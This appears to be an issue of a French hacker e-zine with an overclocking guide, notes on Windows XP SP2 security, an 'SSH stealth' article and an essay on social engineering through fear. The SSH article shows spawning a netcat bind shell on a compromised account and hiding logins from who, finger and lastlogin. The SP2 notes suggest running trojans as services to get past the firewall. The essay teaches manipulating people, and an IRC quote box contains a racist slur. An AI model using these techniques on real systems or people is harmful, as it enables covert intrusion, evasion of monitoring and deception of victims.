de benchmark se droulent parfaitement a veut dire que le pc est  stable  donc 
on  peut  essayer de le monter plus. Si vous obtenez un blue screen sa signifie 
que  le  cpu  n'est  pas stable et pour stabiliser a il suffit d'augmenter par 
coup  de  .25 le voltage du cpu. Si le programme de benchmark ou n'importe quel 
application  3D  se ferme tout seul, c'est probablement un problme de mmoire, 
c'est ce qu'on va voir  l'instant.

 


2. MEMORY OVERCLOCKING

  Maintenant on peux continuer avec la mmoire. Pour  commencer  il  faut  bien 
cooler la mmoire puisqu'on va augmenter son voltage. Une tonnes de gadget sont 
disponibles pour cooler la mmoire mais moi je vous conseil simplement un petit 
heatsink en cuivre qui coute environ 12$.

---> http://www.tuning-pc.com/images/products/bbddrcpr.jpg
     
  Les 2 options sur lesquelles on n'a le contrle c'est les timings de  mmoire 
et son voltage. Si, lors d'un test de benchmark vous obtenez une  fermeture  de 
l'application  involontaire  suivi  d'un retour  windows, a veut dire d'aller 
monter  le  voltage  de  la  mmoire  (dans le bios). Habituellement, monter la 
mmoire  de  .1  volt  rgle  le  problme.  Attention de ne pas trop monter le 
voltage de la  mmoire,  moins que vous ayez une mmoire de bonne marque comme 
Corsaire, OCZ ou kingston qui sont garantie  vie.

  Les timings mmoire sont des "dlais  de  scurit"  destins    viter  les 
erreurs  lorsque  le  pc  lit  ou  crit dans la mmoire. En gros, si on essaye 
d'accder   telle  adresse  de  mmoire en une demi seconde, ya plus de chance 
qu'une erreure arrive que si on y accde en 3 secondes. 

  Les timings fonctionnent avec les cycles d'horloges. C'est  dire que pour un 
FSB de 166 Mhz, le systme fait 166  millions  de  cycles  par  secondes,  donc 
chaque cycle dure 6 nanosecondes. Pour un FSB de 200 Mhz chaque cycle  va durer 
5  nanosecondes,  et  ainsi de suite. On voit bien l'intrt de construire  des 
systmes avec le FSB le plus haut possible. 

  Il  existe  plusieurs  timings  qui  ont  une  influences plutt mdiocre sur
les performances globale du systme. Cependant, il en a  deux  particulirement 
intressant.
 
Cas Latency:

C'est  le  temps  minimum  que  a  va  prendre  pour accder  une "colone" de 
mmoire. Pour de la mmoire DDR (Double Data Rate) il est gnralement  de  2.5 
cycles.  Il  est habituellement possible de l'abaisser  2 mais certain systme 
ne seront  pas  stable.  Quelques fois vous aurez besoin d'augmenter le voltage 
pour que a passe.  Une  fois  booter,  faite  3  ou  4  shot de MemTest, petit 
programme qui bench la ram pour voir si elle est stable.

Precharge To Active:

C'est tout simplement le temps  attendre avant de traiter une nouvelle demande
d'accs mmoire. Habituellement, plus le FSB est haut, moins on peut avoir  des
timings agressif. Dans ce cas, il n'est pas  rare de rencontrer 6, 7 et mme 8.
Encore une fois, settez le le plus bas possible  et faite une coupe de memtest.


2.1 DSYNCHRONISATION DE LA MMOIRE

  Cette  technique  consiste    dsynchroniser  la  mmoire et le  processeur. 
Parfois,  faire  runner  la  mmoire  moins  rapidement  que le processeur peut 
permettre d'augmenter  plus  le  CPU avant que la mmoire ne suive plus. Il y a 
souvent  une  option  dans  le  BIOS ( a ressemble  "memory frequency" ) pour 
setter    combien  de  %  on  veut  que  la ram fonctionne par rapport au CPU. 
Exemple : Si vous tes rendu   200mhz  de FSB et que votre ram ne supporte pas 
plus haut, on dsynchronise la ram   90%. votre ram va runn  180 mhz pendant 
que votre FSB va runn  200mhz, donc on peut essayer de monter le FSB  220mhz 
et votre ram va n'tre qu' 200mhz. La plus part du  temps  par contre, cela va 
vous faire perdre de la performance plutt qu'en gagner.  Cette technique n'est 
donc pas vraiment conseille.



3. GRAPHIC CARD OVERCLOCKING

  Pour commencer il est important de bien cooler certaines parties de  la carte 
pour les mme raisons que la mmoire. Reprez les chipset de mmoire  sur votre 
carte  3D  et  mettez  leur chacune un heatsink,  prpar maison avec un  vieux 
heatsink  que  vous  aurez  scier  et  un  peu de colle ou de pte thermique ou 
whateter, en autant que  le  heatsink  soit  parfaitement coller sur la chip de 
mmoire. Prenez  garde  car  certaine carte on des chipset de chaque cot de la 
carte.  Ensuite  il faut analyser votre system de cooling pour le GPU. S'il est 
satisfaisant vous n'aurez pas   le modifier,  en  cas  contraire,  enlever  le 
system  de  cooling  d'origine  et  remplacer  le  par un heatsink et un fan de 
processeur ou  achetez-en  un  faite  spcialement  pour  votre carte vido sur 
internet. 

Pour les performances 3d, on n'a accs  4 settings;

La  frquence du GPU (graphic processing unit), la frquence de la mmoire,  la 
frquence du port agp et le voltage du port agp. Je crois que des  explications 
sur ces termes seraient superflus alors passons immdiatement  la technique.

  Le principe est d'augmenter la mmoire jusqu' temps que, lors  d'un  test de 
3dmark, vous voyez des artifacts. a c'est des petits points blanc, des lignes, 
ou n'importe quelles irrgularits dans votre image. a veut dire que vous tes 
rendu  trop  haut.  Ensuite,  vous  pouvez  monter  le GPU. Si votre image gle 
pendant  un  bench  ou  un  jeu 3D, a veut dire que vous tes rendu trop haut. 
c'est aussi simple que a. Pour monter la frquence de la mmoire et du GPU, si 
vous avez une chipset ATI, il existe plusieurs programme mais je crois  que  le 
plus  performant  s'appelle  RivaTuner.  Si  vous  avez  une   chipset  Nvidia, 
copier/coller  cette  cl  dans  un  fichier  .reg  et  excuter le. Vous aller 
dornavant avoir accs   un  menu "Frquence d'horloge" dans les proprits de 
Nview ( bouton de droite sur  le bureau, proprit, paramtre, avanc, l'onglet 
portant le nom de votre carte ).




-------8<--------------cut here-----------------8<-------------------


Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\NVIDIA Corporation\Global\NVTweak]
"Coolbits"=dword:ffffffff


-------8<--------------cut here-----------------8<-------------------



  Vous  pouvez galement augmenter la frquence du port AGP dans le bios. Pour
gagner un peu de performance sans risquer de faire griller le port AGP, passez 
de 66  75 mhz et monter le voltage de 0.1.



4. CONCLUSION

  a  me  tente pas de faire de conclusion.. de toute facon on dit jamais rien 
d'important dans une conclusion.


                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<BoFf_PuLo> je recherche des IPC ou SQL pour faire un bot-scan pi      ]=--[~~]----|
|      [apres je lui redonne son IPC ou SQL pi i vient ds team, de bot-scan    ]    \/     | 
       [<BoFf_PuLo> jlui re donne le double de IPC ou SQL ou i vient ds team   ]           | 
|      [de bot-scan                                                            ] there is
|      [<BoFf_PuLo> c les 2 sort de rconpence                                  ] no spoon
|      [<wyzeman> et pkoi tu vien me dire ca ?                                 ]           |  
       [<BoFf_PuLo> bin si ta des IPC ou SQL                                   ]           | 
       [<wyzeman> pkoi jaurais ca ?                                            ]           |  
|      [<wyzeman> jvois pas comment ta pu penser que je ferais du scann        ]           
|      [<BoFf_PuLo> bin i na un qui ma dit que tu fait un peut de warez jcroit ]           |              
|-[~]-=[<wyzeman> ben ca marrive de downloader un mp3 sur emule je lavous      ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 




.---+-=[ Notes sur windows XP SP2            ]=------+---------------------------=[08]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Lastcall_ ]=-|
| //                                                                                       |
| L\:-=[Ak : C'est a mais c'est pas a                 ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Note sur les notes :
J'ai crit ces notes ds que le SP2 a sorti, en fait, j'avais mme install le
SP2 sur un ordi  dans  le temps que  y'tait BETA  pis que  a la toute  chier
un moment  donn a  cause du  Windows update  (dsl encore  mio :-P). Bref, cet
article tait supposer tre  releas en aot, donc  est pu trop  trop  "actuel
hot". Le  voici donc  en version  "fini sous  le rush  4 mois  plus tard". Par
contre, je  vous  garanti  que mme   si vous  avez  (et  sacrer aprs) le SP2
depuis qq mois, vous allez  apprendre quelques facts intressants   propos de
cette fameuse patch de la mort qui tue.


Chose que SP2 fait in a nutshell

- New  firewall qui  marche par  application (comme  tiny personal firewall et
zone alarm)
-  Le new  firewall BLOCK  ALL par  defaut et  permet  des  applications/ports
exceptions, et peut etre mis en nazi-mode (aka On with no exceptions)
- L'ancien firewall est encore la, en faite il sert de  "ouvreur de ports  par
interface" (aka exactement cki fesait avant le SP2). C'est la seule chose  qui
a t  laisser "laide"  pour pas  nous gosser..  ou yon  faite a parce que le
nouveau firewall est  pas a la  mme place sua  stack  (genre l'ancien  serait
direct sur l'interface, le nouveau un layer plus haut.. *suppositions ici voir
sections suppositions*)
- Un  "Security Center"  vous gosse  d'installer un  anti-virus, de  mettre le
firewall et les auto-updates a on
- Un popup blocker dans IE
- Un service qui scan pour  les bad attachements dans Outlook pis  MSN/Windows
Messager. Il start aussi l'anti-virus automatiquement.
- Un quivalent de "Hijackthis" pour IE + liste des <object> a allou.


Chose que SP2 fait pas in a nutshell

- Rendre votre ordinateur plus scure  qu'avant si vous aviez dj un  A/V pis
un firewall block all par defaut
- Vous sacr la paix avec le Security Center (malgres que ya moyen de disabler
les alerts ou de dire "arrte de me gosser avec le A/V")
- Vous permette de rouler votre machine comme avant
- Empecher de rouler un programme qui disable toute les feats. de scurit
- Rouler le service  messenger (ts les popup  avec net send la?)  par defaut.
- Afficher les images externes dans un HTML email. Runner des <object> dans un
HTML email.
- Rouler du javascript dans un .jpg (sorry funky :-P)


Les dtails leets

- Le firewall permet d'allouer des subnets pour certain service (pis y le fait
avec le rseau local par dfaut je crois)
- Le  firewall est  full-keep-state (pkoi  c fun  ca? pensez  zy, si  une apps
allouer par le firewall ouvre un  port, seul les donns de ce  flow spcifique
la passe par ce port la,  DONC pour hijacker une connexion/spoofer un  packet,
a va etre ben plus toffe)
- Boot-time  policy; tlm  se rapelle  que on  pouvait se  faire owner  PENDANT
l'installation  de Windows  XP, ou  pire pendant  le boot-time  (Si  genre  le
service du firewall est pas  encore starter). Well maintenant ya  un boot-time
policy (en francais tant que le  vrai service de firewall est pas  start) qui
block toute sauf DNS/DHCP/domain controller.. clever.
-  RPC refuse  toute les  requests qui  sont pas  "clean",  genre  dune source
anonyme et non autotifier.
-  Les  port RPC  (well  les shits  de  Windows? je  suppose)  sont accessible
seulement pour un service. Donc, les trojans qui roulent pas en service et qui
utilisait ces ports  la (c drole  jen connais pas..p-e  des rootkits alors?).
Solution? Rouler  vos trojans  en service  Local System  ou Network Service ou
Local Service.
- DCOM marche juste  si le user disant  est authentifier (c dla  marde pour un
usage lgitime, j'ai tjrs dtester  gosser pour syncroniser des users  entre 2
Windoze)
- MEMORY  PROTECTION*! OMG!  Yep, SP2  supporte l'excution  protection pis le
sandboxing.  En  clair pas  clair,  a supporte  le  NX sur les  CPUs 64  bits
intel/amd,  surl  es  bon vieux  32bits  la  stack pis  la  heap  sont protg
respectivement par un security check des  buffers pis un "cookie" placer a  la
fin des buffers. En concret, va falloir TOUTE RECOMPILER les exes pour que  ca
soye compatible avec ca. Voila, on  a maintenant l'Explication de 2 choses  1)
pkoi que SP2 est si incompatible avec  plein d'affaires et 2) pkoi que c aussi
gros que a a downloader.
*: ne pas confondre avec la feat quon a depuis les 386. hehe
- AES (Attachement Execution Service). Interfacer en COM avec les autres apps,
cte service  la va  carrment scanner  les MIME  ext en  fonction des file ext
(fini les javascript dans les jpegs??? je rve?)
- La local  zone dans IE  est maintenant une  zone scuris par default (avant
toute  ce qui  tait LOCAL  tait  full  trusted).Donc en  gros, IE  block des
affaires mme si vous accessder   C:\bleh.html (remarquer a dans IE6 c'tait
dj la, mais ca dlair que  SP2  l'extend au component et autre bidule, chu tu
en train de dire que y va avoir dla scurit dans les windows help en html? a
dlair que oui, p-e mme que c bloquer par default comme outlook...)


a pas rapport mais ya un lien

- Windows update v5 tait loader par default dans le beta release du SP2...
- L'base line analyser est updater pour le SP2.. si vous savez pas c'est  quoi
le BSA, aller voir, vous tes pas si bien patcher que vous le penser...
  http://www.microsoft.com/mbsa
- Avis aux webmasters qui avait faite un site pour "IE": tant pis pour vous ya
pu grand bbelles qui vont marcher avec le SP2! J'espre que vous tes payer a
l'heure.
http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp


Suppositions et psychohistoire

- Le nouveau  firewall: si y  effectivement un layer  plus haut, a  voudrait
dire qu'un programme qui gosse direct  avec une interface au lieu de  "global"
ne serait pas affecter par le firewall? ctun non-sense paske ca dlair que mme
les RPC sont  grer par le  nouveau firewall.. well  si ya qqn  d'ass leet en
windows y pourrait essayer a, bidouiller  un driver de network card pour  qui
serve de direct  pipe (ou encore  accder direct au  driver existants avec  un
prog low-level). Par contre toute la beaut d'exploiter a facilement  revient
au niveau  de "est-ce  que le  'specific network  connections firewall'  est a
block-all-on-par-default. Dans SP1 ctait la coche firewall dans les  advanced
params de la connexion, alors que dans le nouveau c une liste des  connections
dans le advanced tab du Windows Firewall. Nyways, ya moyen d'ouvrir un port en
runnant une application  via le vieux  firewall de SP1,  donc ca se  fait trs
certainement avec le vieux firewall de SP2 (la beaut de la chose agian c  que
a bypass le nouveau firewall, et le  user qui a peur du tab "advanced"  verra
jamais rien.
- L'impact du block all par dfaut: LE futur pour le support technique va tre
gnial. Imagin au monde  ou tout est block  all par dfault, un  monde ou tlm
sont routs entre Internet et leurs maisons (avec un routeur entre les 2). Ben
ce monde la va tre encourager par  le SP2. C'est dj faite pour  la  plupart
des gens, asteure les routeurs se retrouvent dans les boites de crales. MAis
la le SP2, va  rendre a presque obligatoire  pour toute les noobs  (parce que
c'est PAR  DEFAULT). Donc,  fini les  applications qui  utilise des socket qui
listen.. a moins que (voir le point suivant).
- Me semble que  c'est facile s'ajouter dans  la "OK LIST" (en  faite c'est de
mme depuis SP1) : Ouais, il est possible pour un programme de s'ajouter  dans
la OK list du firewall. En gros, le exe est une "exception" toute ski bind  et
ski sort  est pas  filtrer par  le firewall..  pratique. Tellement  que je  me
rappelle  un  jour  (sous  SP1)  Internet Explorer a dcider d'ouvrir quelques 
ports pour Windows Media Player.. je me suis  fch,  et  je  lui ai foutu une  
vole.. je  me  rappelle  pu trop  ce  que  je lui  ai fait  mais depuis,  WMP  
plante systmatiquement  sur  ma machine..  haha M'enfin, toute  a  pour dire  
que, finalement,  dans  le  futur  les  diffrents  "malwares"  vont finir par 
se  dbrouiller  comme ils  veulent pour runner firewall ou pas, puisque aprs 
tout, ds qu'un user logger  administrateur (btw, le SP2 encourage t-il le "be 
a user instead of an  admin/poweruser?", non je  crois pas, DUH)  run un .exe, 
c'est fini napu.


Boutte pseudo-leet de l'article : test de process injection 

Pour ceux qui lise phrack assidment, vous vous rappelez srement de l'article
de rattle  dans le  #62 "Using  Process Infection  to Bypass  Windows Software
Firewalls". Pour les autres, cet  article dmontre des moyens de  bypasser les
stupides firewall qui check pour les outbound connexions des process, du genre
"Voulez vous laisser aolshit.exe aller  sur le port 80 de  www.perdu.com?". Sa
premire technique (se  servir d'un exe  sur le disque  pour injecter le  code
dedans et starter son propre code)  dfonce toute les firewall qu'il a  tester
sauf TinyPersonalFirewall, et sa deuxime dfonce mme TinyPF.

Mais bon, on sen fou dans cet article si a dfonce Zone Alarm 4, Sygate  5.5,
blackIce 3.6  et mme  Tiny 5.0,  ce qui  nous intresse  c'est le firewall de
Windoze XP!

Je  vais  donc  faire  des  tests,  primo,  sans  le  SP2,  avec  TinyPF. J'ai
effectivement russi a runner les 2 source codes, les rsultats ont fonctionn
tel que  prvu. N'a  un qui  a marcher,  l'autre qui  a pas  marcher. J'ai pas
envie  d'inventer  des  results,  donc  vous   devez  me  croire  (pis  croire
l'article dans phrack  a  marche/shit comme   c'est suppos.  TinyPF  dtecte
qui a qqchose de louche qui se passe avec un, mais l'autre rien du tout.

Deuxio, avec le SP2, pis le super-mega-firewall de Windows. La toute se  passe
comme  dans   du beurre.   Au  moins  TinyPF  dtectais   le louche   avec  la
premire version, mais la j'ai un injection successful pour les 2..

M'enfin, sommes toutes WinXP fait pas  grand chose.. en faite ya meme  quelque
chose de louche.

Metton que je lunch une application  moche, metton "TCP Port Listener v1.0  by
oollee". Bien SP2 me popup une jolie fentre de "Open File, Security  Warning:
The  publisher  cannot  be  verified".  Et  me  demande  si  je  veux vraiment
l'ouvrir.. fou fou! Mais par contre, si je lunch le binary compiler direct  de
phrack.. rien, y le run comme du beurre. C'est plutt louche a mon avis.

De plus, des  fois, le FireWall  de SP2 me  gosse a propos  des outbounds dans
mIRC, quand a lui tente.. LOUCHE.

En tout  cas y'a  pas de  grosses conclusions  a tirer  de t'a,   part   que
a pourrait pas sucker, mais  a suck par boute pareil.. hehe



Lectures en dtails

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwxp/html/securityinxpsp2.asp
http://download.microsoft.com/download/6/6/c/66c20c86-dcbe-4dde-bbf2-ab1fe9130a97/windows%20xp%20sp%202%20white%20paper.doc
http://www.phrack.org/show.php?p=62&a=13

Bonus link

http://www.microsoft.com/technet/Security/tools/default.mspx


La fin de l'article

Si vous avez lu l'article,  vous comprenez maintenant pourquoi le  titre tait
"Notes sur Windows XP SP2" et non "Article innovateur lite super 2004".  Mais
bon, ces notes pourrait p-e vous tres utile, ou du moins peuvent vous  sauver
la lecture  longue et  fastidieuse (et  bullshitteuse) du  site de  M$ sur  le
sujet. De plus, ces notes pourrait vous menez vers des ides de projets..  tel
que de quoi qui se "process inject", ou encore un plugin de malware qui  scrap
le firewall du monde.. mais bon, soyez pas trop evil, parce que aprs tout, la
journe qu'on va avoir fini de scrapper Windows et que toute va tre  patcher,
va   falloir se  rabattre sur  la bonne  vieille faille  universelle :  l'tre
humain. D'ici la a risque de  prendre bcp de temps, mais soyons  visionnaire,
et disons nous que  dans ~100 ans, a  devrait tre faite, et  mme temps, les
gens vont tre plus sensible  la scurit,  l'informatique elle-mme.  Donc,
(psychohistoire again), ya  qua esprer qui  va avoir un  vritable avancement
dans les OS tel que Windows, tellement grand, que le cycle naturel du  hacking
puisse continuer et que nos tte dans des bocals puissent continuer de  hacker
teh yold way.

3h26 am, c fini.









time to get balws


            .-._.-._.-._.-._.-._.-._.-._             
          :"                ------.      ``, 
          }                 |_.l._l        '=---=1|
          {                 `--.__               |1
          }                 <-'`'`               |1
          {                 <-`,.,               |1
          }                 ,-----         =---=1||
          :                 L__/``|      ,`
           "._.-._.-._.-._.-._.-._.-._.-'
           
           
ready to continue ?           





.---+-=[ SSh Stealth connection              ]=------+---------------------------=[09]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Phawnky   ]=-|
| //                                                                                       |
| L\:-=[Ak : c'est pas l'homme qui fond mais bon...     ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
 


SSH Stealth Stuff

   Y'a  environ  5-6  mois, un de mes buds de efnet ma montre quelque trucs qui 
peuvent tre trs utiles quand a vous tante pas de backdoorer une box  et  que 
vous avez dj le control sur un  account,  ou  plus  qu'un,  ou  whatever  qui 
ressemble a a, en-t-k...voici le stock:

   EXEC
      
      Si vous le saviez pas dj (c'est possible) ssh  permet  de  faire  autre 
      chose que de se logger a distance, et d'avoir un  shell.  En  fait,  vous 
      pouvez spcifiez ce qui est excuter juste aprs  que  vous  soyez logger 
      (ou pas, je vais y revenir plus tard). Ca marche comme ca:
      
      <-Funky@-> ssh haxor@fserv 'uname'
      Password:
      FreeBSD

      Ou un truc plus utile du genre:
      
      <-Funky@-> ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh'
      Password: 
      ^Z
      [1]+  Stopped                 ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh'
      <-Funky@-> bg 1
      [1]+ ssh haxor@fserv 'nc -l -p 31337 -e /bin/sh' &
      <-Funky@-> nc fserv 31337
      
      ...etc...
      
      
   STEALTH EXEC
   
      Wo0, remote exec c'est dj pas mal...mais a  peut  tre  encore  mieux.
      grace a la -T switch de ssh. Vous savez pas c'est quoi? et a vous  tente
      pas de chercher? no prob:
      
      Extrait de man ssh:
      
      -T      Disable pseudo-tty allocation.
      
      Ok, et a donne quoi que aucun pseudo-tty nous soit allocater?
      
      2eme extrait de man sshd:

      [ ...snip... ]      
           When a user successfully logs in, sshd does the following:

           1.   If the login is on a tty, and no command has been specified,
                prints last login time and /etc/motd (unless prevented in the
                configuration file or by $HOME/.hushlogin; see the FILES sec-
                tion).

      ***  2.   If the login is on a tty, records login time.
      [ ...snip... ]      
      
      A Vrai dire, c'est pas juste le login time qui record pas.  C'est le user 
      login au complet, le user est pas prsent ni  dans finger ni dans who, et 
      ni dans lastlogin.
      
      
      <-Funky@-> who
      root             ttyv0    Nov 11 23:16
      Funky            ttyv1    Nov 11 23:17
      Funky            ttyp0    Dec  5 18:19 (winbox)
   
      <-Funky@-> finger
      Login            Name                 TTY  Idle  Login  Time   Office  Phone
      Funky            Alex Coleman        *v1     6d  Nov 11 23:17
      Funky            Alex Coleman         p0         Sun    18:19
      root             Mo0t Kewt           *v0     8d  Nov 11 23:16

      <-Funky@-> lastlogin haxor
      haxor                                         Never logged in

      Et en plus la seul chose visible dans ps aux c'est ca:
                 
      root  49230  0.0  5.2  2836 1512  ??  I     9:29PM   0:01.39 sshd: haxor@notty
      
      HAH!
      
Pour d'autre truc kewl avec ssh ->  man ssh; man sshd

----------------------------------
Greets: ttl du defunt nixsec@efnet
----------------------------------
  
                                                    phawnky.vous.m'avez.pas.vue
 
           
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<sah> plz je evux s'ioncrire ds undernet                               ]=--[~~]----|
|      [<Syncros> :arenpend e akrhiree                                         ]    \/     | 
       [<sah> tu connias putty                                                 ]           | 
|      [<sah> le programmes putty                                              ] Super  
|      [<Syncros> :on connais tout putty                                       ] computer              
|      [<Syncros> :on connais aussi paintbrush                                 ] taste good|  
       [<sah> oui c'est ca plz                                                 ]           | 
       [<sah> je evux connaictais                                              ]           |  
|      [<Syncros> :pi j'pas sur que je prefererais pas me faire enculer par un ]                
|-[~]-=[gros negre que de perdre mon temps a parler de ca                      ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 

                                   




.---+-=[ Cause S of S-E means Social        ]=------+---------------------------=[10]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Wyzeman   ]=-|
| //                                                                                       |
| L\:-=[Ak : The mooooo world                           ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

     Si  nous  nous en tenons a  une  dfinition  exhaustive du terme  hacking, 
nous pouvons dire qu'il s'agit de  pntrer  un  systme   via  n'importe  quel 
moyen disponible et de prfrence de faon inconito. Et il est bien  connu  que 
de  nos jour encore la  plus  grande   faille  de   scurit  rside   dans  le  
facteur  humain.  Un  humain  peu  tre  facilement influencer  ou  tromper  et  
se, gnralement sans avoir a  impliquer des connaissances technique de pointe. 
L'homme exerces  mainte  manipulation contre ses semblables depuis probablement 
beaucoup plus longtemps qu'on aurait envie de croire. Depuis l'arriver du monde 
informatique,  une  variante ddier aux particularits de se monde a t nommer 
"social-engeneering" l'art de  modeler  une  conversation a  sont  avantage  en 
tirant  parti  des   faiblesses   du  genre humain. De  plus, paralllement, la 
connaissance psychologique de l'tre humain  a  voluer de faon a pouvoir nous 
fournir des raisons  qui  font  en  sorte  que  la  manipulation  de  masse  ou 
d'individus a leurs insu est possible. Comme pour le cerveau, la partie motive 
(l'impression  de) est beaucoup plus importante que le contenu livree (tant que 
c'est plausible)). Certes  l'habit  ne  fait  pas  le  moine,  mais  que   veut 
rellement  dire  cette  phrase  dans une socit ou le 2eme degrs est loin de 
faire office de rfrence. Aprs  tout, l'tre  humain  est  un  animal  et  a 
psych est dterminer d'aprs c'est motions (c'est une des raisons entre autre   
qui  fait  que  vous  agissez  diffremment  dpendamment d'avec qui vous  tes  
(certain dirons que vous possdez autant de personnalit que le  nombre  de vos  
d'amis). Mais  l'tre  humain possde aussi la logique et  peu  importe  ce que 
vous dirons les esprits faible, il est  possible  d'utiliser  la  logique  pour  
comprendre  et  surpasser les motions. Pour bien y arriver par contre, il faut 
tre totalement  honnte avec soit mme (ce qui est soit disant impossible (mon 
oeil)). Ceux qui savent se  comprendre  savent comprendre les autres, et aussi, 
utiliser  ce  fait  comme  un  avantage.  Si  on  sait comment on ragit face a 
diffrente  situation  de  base (plus l'action est gnrique mieux c'est, sinon 
on rentre en conflit avec les  diffrences  de  valeurs, choc des gnration et 
autre  patern  plus  difficile a  saisir)  on peu les recrer afin d'amener  ce  
mme sentiment chez la personne qu'on cherche a influencer. Dans cette article,  
je d'crirais quelque ralit  de  l'homme  qui  permette  de  mieu l'exploiter  
dependament  de  l'effet qu'on souhaite amener.  videment  rien  de ceci n'est 
vrai ou efficace a 100%, il ne s'agit que de gnralit, de plus, votre taux de 
russite dpend grandement de  votre faciliter a interprter les sentiments des 
autres (et croyez moi  a  peu  mme se faire a travers irc (c'est souvent plus 
simple dailleur)). 



     Beaucoup d'motion peuvent servire de base a la manipulation, mais la plus 
efficace (et dailleur la plus utiliser en marketing et  en  propagande)  et  la 
peur. l'tre humain est une crature relativement faible et sans  dfense  s'il
n'a pas eu le temps (ou la gntique)  d'exploiter  sont  intelligence  a  sont
avantage. Si il a russi a  survivre si longtemps, c'est entre autre grce a sa
peur gntique directement lier a sont instinct de survie, (aprs tout  avouons 
le,  la  meilleur  chance  de survivre a un danger est de ne pas tre impliquer 
dans le  rayon  d'action  de  se danger). Il existe certes des individus qui ne 
semble tre effrayer par  rien,  mais  a  l'inverse d'autre  on  tellement peur 
qu'il sont incapable de vivre  en  socit  (et  ils  ne  vivrait  probablement 
pas  trs  longtemps  sans  elle).  C'est  individus  ne forme cependant pas la 
majorits et pourrais  statistiquement tre  compiler  a  environs  1 par gang. 
La plus par seront faire face a  la  plus par des situation normal de leur vie, 
et a moins d'tre  spcialement entraner pour affronter le danger, prfrerons 
fuire plutt que de risquer une  blessure.  Dans  sa version la plus brutale et 
simple, on peu expliquer que face  a  un  adversaire  celui qui avant le combat 
aura estimer qu'il a relativement peu de chance de l'emporter choisira la fuite 
ou la soumission  (dpendamment  de  la  nature  de  l'adversaire  et  de  sont  
interprtation   de  la  situations  et  des  meilleurs  chance  de s'en sortir 
indemne. Dans la majoriter  des  cas,  si  les 2 opposants sont d'une  volonts 
gales, la victoire ira au plus comptent, et si  les  2  sont aussi  comptant  
la victoire ira plus souvent qu'autrement au plus confiant des deux).


     Mouais  mais hum, on a pu vraiment le droit de brutaliser sont voisin pour 
lui  imposer une taxe de bienvenue (sauf si on est un thug au secondaire !! :/) 
alors  a quoi bon peu me servire cette peur encrer chez l'tre humain ? Et bien 
le monde moderne  est  remplis d'exemple a s'inspirer, le domaine de la mode en 
est un des plus  beau exemple et trs facile a comprendre si ce n'est dj fait 
(on l'espre  un  peu  pour  vous  dailleur).  Donc possdez telle produit vous 
donnera telle statut en  public. Dailleur a l'extrme l'uniforme d'un soldat ou 
d'un policier peu faire frissonner  plusieurs  civil (arme compris). Et si vous 
vous demandiez en quoi le costume d'un ptissier peu tre lier a la peur ? car, 
effectivement a premire vue un ptissier a  rarement  effrayer quelqu'un. Bien 
sachez que quelque par au fond de l'tre humain rside une peur d'tre perdu et 
de ne pas comprendre sont environnement. Donc si  vous  chercher  un  ptissier 
vous  allez  tre heureux de croire que celui qui s'affiche  ptissier  en  est  
un (et  vous  avez tellement la trouille de vous faire avoir que celui  ci doit 
possder  divers  permis  pour  vous vendre ses produits). Dailleur si  certain  
d'entre vous on dj eu a  porter  un  uniforme  de  travails  pour  un magasin  
a  rayon  quelconque,  repenser au nombre de  fois  ou  vous  vous  tes  faite  
demander "pardons  travaillez  vous  ici ?".   s'attendent   t'ils  vraiment  a 
entendre; "non, jsuis juste dguis.". Ils ont simplement le besoin de se faire 
rassurer. aprs  tout  faut  viter  de  mal  paratre.... jme souvient pu trop 
pourquoi mais bon, qui sait s'qui pourrais  arriver....  Un  des  passes  temps 
favoris de l'tre humain tant de trouver  une  bonne  raison  pour  avoir peur 
de quelque chose,  l'impression  de  s'tre  faite arnaquer quelque part, qu'un 
complot existe ici ou la. bien entendu bien souvent  les  peurs sont justifis, 
sinon elle ne serais  pas  aussi imprgner au seins  de l'humanit. Par contre, 
a ne vous empche pas  de les comprendre et de les  utiliser a votre avantage, 
car en ralit ce qui  compte pour la peur et les sentiment en gnral, ce sont 
les apparences, et non ce que c'est vraiment. L'intelligence est venu aprs les 
motions dans la chane de l'volution, il est donc tout a fait  normal  quelle  
permette  d'en brise quelque rgles. L'intelligence permet en  effet  touffer  
les sentiments pour  lui  subtiliser soit la logique ou les rflexes  qui  sont  
en fait des motions  trs basic de raction programmer a des stimulis, 


ayoye == bouge

encore une fois on i voit les sources de nos bonnes vieilles peurs



notez qu'un simple doute est considrer comme une peur a l'emploie de se texte.


Comment utiliser la peur pour faire passer vos ide ? 


Comme il a t dit plutt, la peur fait en sorte que l'tre humain a tendance a 
se  fier  aux  apparences.  Aprs  tout,  la nature ne ment pas et elle nous as 
imprgner  durant la majeur parti de notre existence en tant que race. Et l'art 
du social engeneering  consiste principalement a se faire passez pour qui  nous 
ne somme pas. La vie est un film ou  les  gens  meurent  vraiment. Vous avez le 
choix du role que vous dsirez, si vous tes capable de combattre les peurs qui 
